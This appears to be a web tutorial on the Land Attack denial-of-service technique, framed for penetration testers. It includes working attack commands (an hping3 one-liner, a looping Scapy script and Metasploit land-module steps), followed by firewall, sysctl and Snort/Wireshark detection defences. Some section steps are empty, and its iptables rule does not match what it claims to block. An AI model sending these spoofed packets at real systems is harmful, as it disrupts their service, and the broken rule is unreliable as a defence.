Land Attack: Understanding and Preventing IP Address Overlap

Land Attack: Understanding and Preventing IP Address Overlap

A Land Attack is a Denial-of-Service (DoS) attack where an attacker sends a spoofed TCP SYN packet with the same source and destination IP addresses (and sometimes the same port), causing the target system to enter an infinite loop or crash due to improper packet handling.


1. How the Attack Works

Normal TCP Connection vs. Land Attack

Normal TCP ConnectionLand Attack
Client (IP_A:Port_X) → Server (IP_B:Port_Y)Attacker sends IP_B:Port_Y → IP_B:Port_Y
Server responds to IP_AServer tries to respond to itself
Connection completesSystem freezes or crashes

Attack Mechanism

  1. Malicious Packet Crafting
  1. Target System Confusion
  1. Denial of Service

2. Ethical Hacker Simulation in Pen Testing

Ethical hackers simulate Land Attacks to test system resilience against malformed packets.

Tools & Commands for Simulation

A. Using hping3 (Linux)

Bash
hping3 -S -a <target_IP> -p 80 -k -s 80 <target_IP>

B. Using Scapy (Python)

Python
from scapy.all import *
target = "192.168.1.1"
packet = IP(src=target, dst=target) / TCP(sport=80, dport=80, flags="S")
send(packet, loop=1, verbose=0)

C. Using Metasploit

Bash
msfconsole
use auxiliary/dos/tcp/land
set RHOST <target_IP>
set RPORT 80
run

3. Prevention & Mitigation Strategies

A. Network-Level Defenses

  1. Firewall Rules (Block Land Packets)

    • Linux (iptables)
      iptables -A INPUT -p tcp --tcp-flags SYN SYN -m iprange --src-range <target_IP>-<target_IP> -j DROP
      
    • Windows Firewall
      • Use Group Policy to block packets with identical source/destination IPs.
  2. Disable IP Spoofing (Ingress Filtering)

    • ISP/Edge Router:
      access-list 100 deny ip host <target_IP> host <target_IP>
      
  3. Kernel Hardening (Linux/Windows)

    • Linux:
      sysctl -w net.ipv4.conf.all.rp_filter=1  # Enable Reverse Path Filtering
      
    • Windows:
      • Disable TCP/IP auto-tuning (may help in some cases).

B. Detection & Monitoring

Plaintext
ip.src == ip.dst && tcp.flags.syn == 1
Plaintext
alert tcp any any -> any any (msg:"Land Attack Detected"; sameip; sid:1000004;)

4. Tools for Attack & Defense

Attack ToolsDefense Tools
hping3iptables/nftables
ScapySnort/Suricata
Metasploit (land module)Wireshark (detection)

Conclusion

Modern systems (Linux/Windows post-2000) are mostly patched, but legacy devices may still be vulnerable.

Exit mobile version